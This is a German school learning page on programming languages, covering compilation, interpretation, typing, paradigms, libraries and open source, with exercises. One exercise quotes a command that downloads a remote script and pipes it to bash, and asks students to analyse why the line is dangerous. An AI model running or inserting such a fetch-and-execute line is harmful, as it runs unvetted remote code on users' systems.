Zurück zur StartseiteInformatik · EF · Fach wechseln
Kostenlos starten
EF · Informatik
Informatiksysteme · Textuelle Programmierung

Programmiersprachen

Die Fahrplan-App des Verkehrsverbunds Rhein-Ruhr zeigt dir, wann die nächste S-Bahn ab Essen Hbf fährt. Hinter dieser App steckt ein Programm: Anweisungen, die so genau formuliert sind, dass ein Computer sie ohne Rückfrage ausführen kann. Wie versteht ein Rechner, was Menschen geschrieben haben, und warum gibt es Hunderte Programmiersprachen statt nur einer?

Vom Quellcode zum ausführbaren Programm

Der Text, den eine Person schreibt, heißt Quellcode (Quelltext). Ein Prozessor versteht aber nur Maschinensprache (Folgen aus 0 und 1). Zwischen beiden steht ein Übersetzungswerkzeug.

Von Quellcode über Compiler oder Interpreter zum ausführbaren Programm in Maschinensprache. Quellcode schreibt der Mensch Compiler oder Interpreter Ausführbares Programm führt die Maschine aus übersetzt in Maschinensprache Prozessor versteht nur 0 und 1.

Eine natürliche Sprache verzeiht einen Rechtschreibfehler, eine Programmiersprache nicht: Eine fehlende Klammer oder ein falsch geschriebenes Schlüsselwort verhindert die Übersetzung, das Programm startet gar nicht erst. Deshalb muss jede Anweisung genau eine Bedeutung haben.

Üben★☆☆Nicht begonnen
Erkläre mit eigenen Worten, was ein Programm und was ein Algorithmus ist, und nenne ein Beispiel für einen „Algorithmus“ aus dem Alltag (ein Rezept, eine Wegbeschreibung…

Erkläre mit eigenen Worten, was ein Programm und was ein Algorithmus ist, und nenne ein Beispiel für einen „Algorithmus“ aus dem Alltag (ein Rezept, eine Wegbeschreibung zu dir nach Hause …), wobei du seine Schritte kenntlich machst.

Lösen
Üben★☆☆Nicht begonnen
Eine natürliche Sprache (wie Deutsch) lässt mehrdeutige Sätze zu, eine Programmiersprache dagegen nicht. Erkläre, was das bedeutet und warum es unerlässlich ist, dass…

Eine natürliche Sprache (wie Deutsch) lässt mehrdeutige Sätze zu, eine Programmiersprache dagegen nicht. Erkläre, was das bedeutet und warum es unerlässlich ist, dass die Anweisungen eines Programms nur eine einzige mögliche Interpretation haben.

Lösen
Üben★☆☆Nicht begonnen
Die Abbildung zeigt die Kette, die das, was ein Programmierer schreibt, in etwas umwandelt, das der Computer ausführen kann. Das mittlere Element ist jedoch durch ein…

Die Abbildung zeigt die Kette, die das, was ein Programmierer schreibt, in etwas umwandelt, das der Computer ausführen kann. Das mittlere Element ist jedoch durch ein Fragezeichen verdeckt, wie in der Abbildung zu sehen.

Quellcode vom Menschen geschrieben ? Ausführbares Programm von der Maschine ausgeführt

Gib an, welches Element in der Kette fehlt, erkläre, welche zwei Arten von Werkzeugen diese Stelle einnehmen können (Compiler und Interpreter), und beschreibe, worin sich beide unterscheiden.

Lösen
Üben★☆☆Nicht begonnen
Erkläre, was die Syntax einer Programmiersprache ist und warum schon eine fehlende Klammer die Ausführung des Programms verhindert, während ein Rechtschreibfehler in…

Erkläre, was die Syntax einer Programmiersprache ist und warum schon eine fehlende Klammer die Ausführung des Programms verhindert, während ein Rechtschreibfehler in einem deutschen Text das Verstehen nicht verhindert.

Lösen

Compiler und Interpreter

Compiliert: Der Compiler prüft alles vorab, bei einem Fehler entsteht kein Programm. Interpretiert: Zeilen laufen nacheinander, der Fehler erscheint erst in der fehlerhaften Zeile, nach bereits ausgegebenen Ergebnissen. Compiliert z. B. C, C++ Quellcode Compiler kein Programm → ✕ → Alles wird vor der Ausführung übersetzt · schnelle Ausführung Interpretiert z. B. Python Quellcode Interpreter > 42 > 7 ✕ Fehler → → Zeile für Zeile übersetzt und ausgeführt · langsamere Ausführung

Daraus folgt die Art der Fehlermeldung: Ein Compiler meldet Compilerfehler vor dem Start, ein Interpreter meldet Fehler erst zur Laufzeit, wenn die betroffene Zeile an der Reihe ist.

Man unterscheidet drei Fehlerarten: Syntaxfehler (Regelverstoß, wird beim Übersetzen bzw. Einlesen des Quellcodes gemeldet), Laufzeitfehler (das Programm bricht während der Ausführung ab) und logische Fehler (das Programm läuft, liefert aber falsche Ergebnisse und wird von keiner Meldung angezeigt).

Der Bytecode läuft auf jedem System, auf dem eine JVM installiert ist, ohne dass man für jeden Prozessor neu compilieren muss (z. B. x86-PC und ARM-Tablet). Der Preis ist die zusätzliche Schicht der virtuellen Maschine, die Speicher und Rechenzeit braucht.

Normal compilierter Code (z. B. aus C) ist dagegen an einen Prozessortyp und ein Betriebssystem gebunden: Eine Datei für x86_64 mit Linux läuft nicht auf einem ARM64-Tablet mit Android. Man muss für jede Zielplattform neu compilieren. Ein kleiner Mikrocontroller ohne Betriebssystem und mit wenig Arbeitsspeicher hat meist keinen Platz für eine JVM. Python dient hier als Gegenbeispiel einer interpretierten Sprache.

Üben★★☆Nicht begonnen
Erkläre den Unterschied zwischen einer kompilierten und einer interpretierten Sprache: Was geschieht jeweils mit dem Quellcode, wann werden Fehler entdeckt und was…

Erkläre den Unterschied zwischen einer kompilierten und einer interpretierten Sprache: Was geschieht jeweils mit dem Quellcode, wann werden Fehler entdeckt und was braucht der Endnutzer, um das Programm auszuführen? Nenne für jede Art ein Beispiel für eine Sprache.

Lösen
Üben★★☆Nicht begonnen
Bei einer kompilierten Sprache entsteht eine ausführbare Datei; bei einer interpretierten Sprache muss der Interpreter installiert sein. Analysiere, welcher Unterschied…

Bei einer kompilierten Sprache entsteht eine ausführbare Datei; bei einer interpretierten Sprache muss der Interpreter installiert sein. Analysiere, welcher Unterschied sich für den Endnutzer des jeweiligen Programms ergibt (was er installieren muss, auf welchen Systemen es läuft) und welcher Unterschied sich für die Entwickelnden ergibt (Zyklus aus Schreiben und Testen).

Lösen
Üben★★★Nicht begonnen
Eine interpretierte höhere Programmiersprache ist meist bequemer zu schreiben, aber in der Ausführung langsamer als eine kompilierte maschinennahe Sprache. Analysiere…

Eine interpretierte höhere Programmiersprache ist meist bequemer zu schreiben, aber in der Ausführung langsamer als eine kompilierte maschinennahe Sprache. Analysiere diesen Kompromiss und entscheide, welche Art von Sprache du wählen würdest für: (a) die Steuerung eines Airbags, (b) einen App-Prototyp, um eine Idee zu testen, (c) ein Videospiel mit anspruchsvoller Grafik. Begründe jede Entscheidung.

Lösen
Üben★★★Nicht begonnen
Ein Entwicklungsteam entwirft eine Anwendung zur Umweltüberwachung und analysiert, wie sie auf drei Geräte verteilt werden soll: Gerät A (Cloud-Server mit…

Ein Entwicklungsteam entwirft eine Anwendung zur Umweltüberwachung und analysiert, wie sie auf drei Geräte verteilt werden soll: Gerät A (Cloud-Server mit x86_64-Prozessor und Linux), Gerät B (Feld-Tablet mit ARM64-Prozessor und Android) und Gerät C (Meeresboje mit einem 8-Bit-Mikrocontroller, 16 KB RAM und ohne Betriebssystem). Das Team beschließt, den Code in ein Zwischenformat (Bytecode) zu kompilieren, das auf einer virtuellen Maschine läuft. a) Erkläre, warum dieser Ansatz es ermöglicht, genau dieselbe Binärdatei auf A und B auszuführen, ohne für jeden Prozessor neu kompilieren zu müssen. b) Sage voraus, welches unüberwindliche Problem beim Versuch auftritt, dieses Programm auf Gerät C auszuführen, und begründe deine Antwort anhand der Anforderungen einer virtuellen Maschine. c) Erkläre, welche Kosten bei Leistung und Speicherverbrauch die Geräte A und B im Gegenzug für die sofortige Portabilität in Kauf nehmen.

Lösen

Typisierung und Programmierparadigmen

Beispiel: In Java ist int zahl = "fünf"; ein Fehler, den der Compiler sofort meldet. In einer dynamisch typisierten Sprache zeigt sich ein Fehler wie 5 + "fünf" erst, wenn diese Zeile läuft. Je früher ein Fehler entdeckt wird, desto billiger ist er zu beheben, denn er kann nicht erst bei den Nutzerinnen und Nutzern auftreten.

Zwei Programmierparadigmen: imperativ (Befehle verändern den Zustand) und objektorientiert (Objekte mit Daten und Verhalten). Imperativ summe ← 0 3-mal wiederholen: summe ← summe+2 Zustand ändert sich Objektorientiert Ausleihe buch, mitglied tage() Daten + Methoden statisch: Typprüfung vor der Ausführung dynamisch: Typprüfung zur Laufzeit

Daneben gibt es funktionale Sprachen, die Funktionen miteinander kombinieren. Java ist objektorientiert (und enthält imperative Anweisungen). Das Modellieren von Klassen lernst du später genauer; hier genügt die Grundidee.

Eine Auszeichnungssprache wie HTML beschreibt nur Struktur und Inhalt einer Seite. Sie kann weder Entscheidungen noch Wiederholungen ausdrücken, ist also keine vollwertige Programmiersprache. Die Logik liefert üblicherweise JavaScript.

Üben★★☆Nicht begonnen
Sprachen werden auch nach Paradigmen gruppiert (imperativ, objektorientiert, funktional …). Erkläre kurz, worin die objektorientierte Programmierung besteht, und…

Sprachen werden auch nach Paradigmen gruppiert (imperativ, objektorientiert, funktional …). Erkläre kurz, worin die objektorientierte Programmierung besteht, und begründe, warum sie nützlich ist, wenn ein Programm Dinge der realen Welt modelliert (Schüler, Konten, Fahrzeuge …).

Lösen
Üben★★☆Nicht begonnen
In manchen Sprachen führt das Addieren einer Zahl und eines Textes bereits vor der Ausführung des Programms zu einem Fehler; in anderen tritt der Fehler nur auf, wenn…

In manchen Sprachen führt das Addieren einer Zahl und eines Textes bereits vor der Ausführung des Programms zu einem Fehler; in anderen tritt der Fehler nur auf, wenn diese Zeile ausgeführt wird. Erkläre, was die Typisierung einer Sprache ist (statisch oder dynamisch) und welchen Vorteil es hat, solche Fehler möglichst früh zu erkennen.

Lösen
Üben★★☆Nicht begonnen
HTML strukturiert den Inhalt von Webseiten, gilt aber nicht als vollwertige Programmiersprache. Erkläre, worin der Unterschied zwischen einer Auszeichnungssprache und…

HTML strukturiert den Inhalt von Webseiten, gilt aber nicht als vollwertige Programmiersprache. Erkläre, worin der Unterschied zwischen einer Auszeichnungssprache und einer Programmiersprache besteht (lassen sich Entscheidungen und Wiederholungen ausdrücken?) und welche Sprache HTML üblicherweise ergänzt, um die Logik beizusteuern.

Lösen
Üben★★★Nicht begonnen
Bei einem Roboterarm für chirurgische Präzisionseingriffe reserviert ein erster, in C programmierter Prototyp in jedem Regelzyklus fortlaufend dynamischen Speicher, ohne…

Bei einem Roboterarm für chirurgische Präzisionseingriffe reserviert ein erster, in C programmierter Prototyp in jedem Regelzyklus fortlaufend dynamischen Speicher, ohne ihn ordnungsgemäß freizugeben (Speicherleck). Dadurch wird das System langsamer und blockiert nach mehreren Stunden Dauerbetrieb schließlich. Zur Lösung schlägt ein Programmierer vor, die gesamte Software in einer Sprache mit automatischer Speicherbereinigung (Garbage Collection) und dynamischer Typisierung neu zu schreiben, und behauptet, das System sei dann sicher und frei von Speicherfehlern. a) Erklären Sie, was bei einem Speicherleck physisch im Arbeitsspeicher (RAM) geschieht, sodass das System schließlich blockiert. b) Widerlegen Sie den Vorschlag des Programmierers: Sagen Sie vorher, welches kritische Risiko der automatische Garbage Collector bei einer Echtzeitoperation für die Servomotoren des Roboters mit sich bringt. c) Begründen Sie, welche technische Kompromisslösung (zwischen manueller Speicherverwaltung ohne Garantien und unvorhersehbarer automatischer Speicherbereinigung) Sicherheit und deterministische Reaktionszeit gewährleisten würde.

Lösen

Entwicklungsumgebung, Bibliotheken und Open Source

Bibliotheken folgen dem Grundsatz „das Rad nicht neu erfinden“: Eine Grafikbibliothek zeichnet Diagramme, ohne dass du jeden Pixel selbst berechnest. Das spart Zeit und Fehler.

Beim Quellcode unterscheidet man Open Source (quelloffen: Der Code ist öffentlich, kann studiert, geprüft und angepasst werden) und proprietäre Software (geschlossen: Man nutzt sie nur, ein Hersteller bestimmt Preis, Weiterentwicklung und Support).

Vergleich: Open Source ist einsehbar und von vielen anpassbar, proprietäre Software ist geschlossen und hängt von einem Hersteller ab. Open Source Code ist öffentlich viele können ihn prüfen und anpassen freie Werkzeuge, Community Proprietär Code ist geschlossen Nutzung nur nach Lizenz Abhängigkeit vom Hersteller Preis und Support: Herstellerwahl
Üben★☆☆Nicht begonnen
Was ist eine Entwicklungsumgebung (IDE)? Nenne zwei Hilfen, die sie Programmierenden bietet (Syntaxhervorhebung, Fehlererkennung beim Schreiben, integrierte Ausführung),…

Was ist eine Entwicklungsumgebung (IDE)? Nenne zwei Hilfen, die sie Programmierenden bietet (Syntaxhervorhebung, Fehlererkennung beim Schreiben, integrierte Ausführung), und erkläre jede in einem Satz.

Lösen
Üben★★☆Nicht begonnen
Bibliotheken sind Sammlungen von fertigem Code, die ein Programm verwenden kann. Erkläre anhand eines Beispiels (Grafikbibliothek, Bibliothek zur Datenbankanbindung),…

Bibliotheken sind Sammlungen von fertigem Code, die ein Programm verwenden kann. Erkläre anhand eines Beispiels (Grafikbibliothek, Bibliothek zur Datenbankanbindung), warum es eine gute Praxis ist, „das Rad nicht neu zu erfinden“, und nenne eine Vorsichtsmaßnahme, die man bei der Verwendung von Bibliotheken von Drittanbietern beachten muss.

Lösen
Üben★★★Nicht begonnen
Ein Start-up entwickelt eine Anwendung zur Verwaltung von Wetterstationen. Das Team schwankt für sein Backend zwischen zwei technischen Optionen: Option A, eine…

Ein Start-up entwickelt eine Anwendung zur Verwaltung von Wetterstationen. Das Team schwankt für sein Backend zwischen zwei technischen Optionen: Option A, eine proprietäre Plattform und Sprache, deren Lizenz 450 € pro Jahr und Entwickler kostet, mit geschlossenem technischem Support; oder Option B, eine Open-Source-Sprache mit freien Werkzeugen unter freier Lizenz und aktiver Community. Analysiere die Situation: a) Wenn der Anbieter von Option A den Lizenzpreis verdreifacht oder von einem Wettbewerber übernommen wird, der das Produkt einstellt, sage voraus, welche technischen Möglichkeiten dem Unternehmen bleiben und welche Auswirkungen es zu tragen hätte. b) Begründe zwei technische und sicherheitsbezogene Vorteile, die Option B gegenüber Option A bietet, wenn ein kritischer Fehler in einer Bibliothek entdeckt wird. c) In welchem konkreten Fall könnte es gerechtfertigt sein, die Abhängigkeit von der proprietären Plattform in Kauf zu nehmen?

Lösen
Üben★★★Nicht begonnen
Für eine Hausautomatisierungsübung muss ein Schüler bei einem Gasleck E-Mail-Warnungen versenden. Statt es selbst zu programmieren, kopiert er aus einem Internetforum…

Für eine Hausautomatisierungsübung muss ein Schüler bei einem Gasleck E-Mail-Warnungen versenden. Statt es selbst zu programmieren, kopiert er aus einem Internetforum diese Zeile, ohne ihren Inhalt zu prüfen: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). Der Schüler behauptet: „Der Code funktioniert und die Warnung kommt an, also ist die Lösung völlig in Ordnung und sicher.“ a) Widerlege die Behauptung des Schülers, indem du die schwerwiegenden Sicherheitsrisiken und die Gefahr der Code-Injektion analysierst, die diese Zeile für das System und das lokale Netzwerk mit sich bringt. b) Wenn der externe Server Wochen später seinen Dienst einstellt, sage voraus, welche Schwierigkeiten der Schüler haben wird, das System zu warten, wenn er die ursprüngliche Logik nicht verstanden hat. c) Entwirf ein Protokoll aus vier Schritten, das ein verantwortungsvoller Programmierer befolgen muss, bevor er Code oder Bibliotheken von Drittanbietern in ein technisches Projekt einbindet.

Lösen

Die passende Sprache wählen

Eine blockbasierte Umgebung wie Scratch ist für den Einstieg ideal: Syntaxfehler sind kaum möglich. Textprogrammierung ist dagegen für große Projekte nötig, weil sie präziser, genauer kontrollierbar, mit Versionsverwaltung und Bibliotheken nutzbar und besser les- und teilbar ist.

Drei Projekte und ihre wichtigste Priorität: Datenanalyse braucht Bibliotheken, ein 3D-Spiel braucht Leistung, eine interaktive Webseite braucht die Plattform Browser. Datenanalyse 3D-Videospiel Interaktive Webseite Diagramme, Auswertung hohe Geschwindigkeit läuft im Browser Priorität: Bibliotheken Priorität: Leistung Priorität: Plattform

Dasselbe gilt bei Echtzeit-Steuerungen wie einem Airbag: Dort entscheidet die garantierte Reaktionszeit, deshalb nimmt man eine compilierte, maschinennahe Sprache. Für einen App-Prototyp zählt dagegen die Schnelligkeit beim Schreiben. Wichtig: Der Algorithmus bleibt in jeder Sprache gleich (z. B. dieselbe Zahl an Vergleichen bei der binären Suche). Unterschiedlich sind nur Übersetzung, Speicherverwaltung und damit die Laufzeit.

Üben★☆☆Nicht begonnen
Vergleiche das Programmieren mit Blöcken (wie Scratch) und das Programmieren mit Text: Nenne für jeden Ansatz einen Vorteil beim Lernen und einen Grund, warum große…

Vergleiche das Programmieren mit Blöcken (wie Scratch) und das Programmieren mit Text: Nenne für jeden Ansatz einen Vorteil beim Lernen und einen Grund, warum große Projekte letztlich in Textform geschrieben werden.

Lösen
Üben★☆☆Nicht begonnen
Erkläre, was der Quellcode eines Programms ist, wer ihn schreibt und was mit ihm geschehen muss, bevor der Computer ihn ausführen kann (Übersetzung in Maschinensprache).

Erkläre, was der Quellcode eines Programms ist, wer ihn schreibt und was mit ihm geschehen muss, bevor der Computer ihn ausführen kann (Übersetzung in Maschinensprache).

Lösen
Üben★☆☆Nicht begonnen
Nenne drei verschiedene Programmiersprachen und jeweils eine typische Anwendung oder einen typischen Bereich (Webseiten, Datenanalyse, Videospiele, Systeme, Apps …).

Nenne drei verschiedene Programmiersprachen und jeweils eine typische Anwendung oder einen typischen Bereich (Webseiten, Datenanalyse, Videospiele, Systeme, Apps …).

Lösen
Üben★★☆Nicht begonnen
Deine Klasse soll eine Sprache auswählen, um eine kleine Anwendung zur Verwaltung des Leseclubs zu entwickeln. Nenne und erkläre drei Merkmale der Sprache, die du vor…

Deine Klasse soll eine Sprache auswählen, um eine kleine Anwendung zur Verwaltung des Leseclubs zu entwickeln. Nenne und erkläre drei Merkmale der Sprache, die du vor der Entscheidung berücksichtigen würdest (Erlernbarkeit, verfügbare Bibliotheken, Community, Leistung, Zielplattform …), und begründe, welches du in diesem konkreten Fall priorisieren würdest.

Lösen
Üben★★☆Nicht begonnen
Wähle für jedes Projekt eine Sprache aus und begründe deine Wahl: (a) die Noten der gesamten Schule auswerten und Diagramme erzeugen, (b) ein 3D-Videospiel mit hohen…

Wähle für jedes Projekt eine Sprache aus und begründe deine Wahl: (a) die Noten der gesamten Schule auswerten und Diagramme erzeugen, (b) ein 3D-Videospiel mit hohen Leistungsanforderungen und (c) eine interaktive Webseite, die im Browser läuft. Gib an, welches Kriterium bei jeder Wahl am meisten ins Gewicht fiel.

Lösen
Üben★★★Nicht begonnen
Der Algorithmus der binären Suche wird implementiert, um einen Wert in einer sortierten Liste von 1 000 000 ganzen Zahlen zu finden, und zwar in zwei verschiedenen…

Der Algorithmus der binären Suche wird implementiert, um einen Wert in einer sortierten Liste von 1 000 000 ganzen Zahlen zu finden, und zwar in zwei verschiedenen Sprachen: In Python dauert er 12,4 ms und in C 0,8 ms. Ein Mitschüler behauptet: „Weil es in C weniger Zeit braucht, hat sich die Logik des Algorithmus geändert und er führt jetzt weniger Vergleiche durch als in Python.“ Widerlege diese Behauptung begründet: a) Erkläre, welche Elemente des Programms in beiden Versionen genau gleich bleiben und welche sich ändern. b) Begründe, worauf der Zeitunterschied beruht, wenn die Anzahl der logischen Vergleiche identisch ist. c) Argumentiere anhand dieses Falls, warum man sagt, Programmierenlernen bedeute, denken zu lernen, und nicht, eine bestimmte Sprache zu beherrschen.

Lösen
Üben★★★Nicht begonnen
Ein Unternehmen für Unterwasserrobotik entwickelt ein autonomes Erkundungsfahrzeug. Das System besteht aus zwei Modulen: 1) Steuerung der Antriebe und gyroskopische…

Ein Unternehmen für Unterwasserrobotik entwickelt ein autonomes Erkundungsfahrzeug. Das System besteht aus zwei Modulen: 1) Steuerung der Antriebe und gyroskopische Stabilisierung, die alle 2,5 ms Sensoren abfragen und den Kurs mit strikter, kritischer Latenz korrigieren muss. 2) Benutzeroberfläche und statistische Auswertung in der Meeresstation, wo Wissenschaftler Bilder verarbeiten und visuelle Filter interaktiv testen. Der technische Leiter schlägt vor, beide Module ausschließlich in Python zu programmieren, um das Projekt zu vereinheitlichen. a) Bewerte diesen Vorschlag kritisch, indem du voraussagst, welche Engpässe im Stabilisierungsmodul auftreten werden. b) Erkläre, warum es hinsichtlich der Produktivität ebenfalls keine effiziente Entscheidung wäre, die Basisstation in C oder C++ zu programmieren. c) Entwirf eine Lösung und begründe, welche Art von Sprache du jedem Modul zuweisen würdest, um den Konflikt zwischen Ausführungsgeschwindigkeit und Entwicklungsfreundlichkeit zu lösen.

Lösen
Üben★★★Nicht begonnen
Eine Schule erneuert die Ausstattung ihres Technikraums und wägt zwei Optionen für die Programmierung der Mikrocontroller in ihren Projekten ab: Umgebung A, eine…

Eine Schule erneuert die Ausstattung ihres Technikraums und wägt zwei Optionen für die Programmierung der Mikrocontroller in ihren Projekten ab: Umgebung A, eine kommerzielle proprietäre Software mit zwei Jahren kostenloser Lizenz, aber mit geschlossenem Quellcode und nur mit den Sensoren der eigenen Marke kompatibel; und Umgebung B, eine Open-Source-Toolchain (freier Compiler und offene Bibliotheken), die mit zahlreichen Boards auf dem Markt kompatibel ist. a) Sage voraus, welche wirtschaftlichen und technischen Folgen die Schule im dritten Jahr zu tragen hat, wenn der Anbieter von Umgebung A seine Preispolitik ändert oder den Support für ältere Modelle einstellt. b) Begründe, welche Lern- und Anpassungsmöglichkeiten Umgebung B bietet, damit Schülerinnen und Schüler untersuchen können, wie der Code im Inneren funktioniert, oder nicht mehr produzierte Sensoren anschließen können. c) Vertritt unter dem Gesichtspunkt der öffentlichen Ausgaben und der technologischen Souveränität, welche der beiden Optionen gewählt werden sollte.

Lösen

Zurück zum Anfang: Eine Programmiersprache wird in Maschinensprache übersetzt, die der Prozessor ausführt. Es gibt Hunderte davon, weil keine Sprache zugleich maximale Geschwindigkeit, leichtes Erlernen und Lauffähigkeit auf jedem Gerät bietet.

Auf einen Blick

Alle Aufgaben zu diesem Abschnitt anzeigen